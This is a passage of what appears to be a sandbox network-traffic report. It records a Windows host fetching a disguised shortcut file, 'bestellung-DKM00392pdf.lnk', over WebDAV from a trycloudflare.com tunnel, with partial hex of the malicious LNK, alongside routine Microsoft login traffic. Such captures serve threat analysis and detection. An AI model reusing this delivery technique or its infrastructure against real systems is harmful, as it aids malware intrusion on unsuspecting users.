f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-25 08:16:33 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	58421	40.126.31.73	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-25 08:16:34 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 08:16:34 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 08:15:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 32470e7d-477a-4535-8882-e84368bb88be PPServer: PPV: 30 H: PH1PEPF00011E42 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 08:16:34 GMT Connection: close Content-Length: 11392
2024-10-25 08:16:34 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	58422	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:34 UTC	203	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 44 45 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 31 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /DE HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 1translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:34 UTC	229	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:34 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 1575 Connection: close CF-Ray: 8d80c3e768ae2c9f-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:34 UTC	1369	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 44 45 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 34 2d 31 30 2d 32 33 54 30 39 3a 33 36 3a 30 34 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 71 75 6f 74 61 2d 75 73 65 64 2d 62 79 74 65 73 3e 37 35 37 38 36 33 36 32 38 38 30 3c Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/DE/</D:href><D:propstat><D:prop><D:resourcetype><D:collection/></D:resourcetype><D:creationdate>2024-10-23T09:36:04Z</D:creationdate><D:quota-used-bytes>75786362880<
2024-10-25 08:16:34 UTC	206	IN	Data Raw: 3e 3c 44 3a 6c 6f 63 6b 65 6e 74 72 79 3e 3c 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 73 68 61 72 65 64 2f 3e 3c 2f 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 44 3a 77 72 69 74 65 2f 3e 3c 2f 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 2f 44 3a 6c 6f 63 6b 65 6e 74 72 79 3e 3c 2f 44 3a 73 75 70 70 6f 72 74 65 64 6c 6f 63 6b 3e 3c 2f 44 3a 70 72 6f 70 3e 3c 44 3a 73 74 61 74 75 73 3e 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 3c 2f 44 3a 73 74 61 74 75 73 3e 3c 2f 44 3a 70 72 6f 70 73 74 61 74 3e 3c 2f 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 2f 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 3e Data Ascii: ><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	58424	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:35 UTC	239	OUT	GET /DE/bestellung-DKM00392pdf.lnk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:35 UTC	339	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:16:35 GMT Content-Type: application/octet-stream Content-Length: 2182 Connection: close CF-Ray: 8d80c3ed0a972ca6-DFW CF-Cache-Status: DYNAMIC Accept-Ranges: bytes ETag: "a6075cebf08c7f07effbd876cbf1f019-1729820993-2182" Last-Modified: Fri, 25 Oct 2024 01:49:53 GMT Server: cloudflare
2024-10-25 08:16:35 UTC	1030	IN	Data Raw: 4c 00 00 00 01 14 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 eb 40 00 00 20 00 00 00 d1 b0 7d 23 e2 43 d7 01 d1 b0 7d 23 e2 43 d7 01 d1 b0 7d 23 e2 43 d7 01 00 10 05 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 01 14 00 1f 50 e0 4f d0 20 ea 3a 69 10 a2 d8 08 00 2b 30 30 9d 19 00 2f 43 3a 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 00 31 00 00 00 00 00 4f 59 e8 2b 10 00 57 69 6e 64 6f 77 73 00 40 00 09 00 04 00 ef be a8 52 da 40 4f 59 e8 2b 2e 00 00 00 12 02 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 94 21 01 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 00 00 16 00 5a 00 31 00 00 00 00 00 48 59 ae 5d 10 00 53 79 73 74 65 6d 33 32 00 00 42 00 09 00 04 00 ef be a8 52 da 40 48 59 ae 5d 2e 00 00 00 db 0c Data Ascii: LF@ }#C}#C}#C5PO :i+00/C:\V1OY+Windows@R@OY+.!WindowsZ1HY]System32BR@HY].
2024-10-25 08:16:35 UTC	1152	IN	Data Raw: 65 2e 65 78 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 25 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 46 00 69 00 6c 00 65 00 73 00 28 00 78 00 38 00 36 00 29 00 25 00 5c 00 4d 00 69 00 63 00 72 Data Ascii: e.exe%ProgramFiles(x86)%\Micr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	58425	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:35 UTC	215	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 44 45 2f 64 65 73 6b 74 6f 70 2e 69 6e 69 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /DE/desktop.ini HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:35 UTC	226	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:16:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 8d80c3ed2f474677-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:35 UTC	402	IN	Data Raw: 31 38 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 27 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 27 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 3c 70 3e 34 Data Ascii: 18b<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'><html><head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'> <title>404 Not Found</title></head><body> <h1>404 Not Found</h1> <p>4
2024-10-25 08:16:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	58423	40.126.31.73	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-25 08:16:35 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 08:16:36 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 08:15:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BL2 x-ms-request-id: 8206b3b7-0d9a-41d7-85f6-32caaba3fd12 PPServer: PPV: 30 H: BL02EPF0001D8D8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 08:16:35 GMT Connection: close Content-Length: 11392
2024-10-25 08:16:36 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	58426	40.126.31.73	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-25 08:16:37 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 08:16:37 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 08:15:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BL2 x-ms-request-id: b9ebddad-f016-41c1-8ca0-915f0cc0429d PPServer: PPV: 30 H: BL02EPF0001D9F9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 08:16:36 GMT Connection: close Content-Length: 11392
2024-10-25 08:16:37 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	58427	40.126.31.73	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:38 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4808 Host: login.live.com
2024-10-25 08:16:38 UTC	4808	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 08:16:39 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 08:15:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: 3dd0dcad-9ea8-4ca7-9a70-acc694b846f1 PPServer: PPV: 30 H: SN1PEPF0002F1B3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 08:16:38 GMT Connection: close Content-Length: 11197
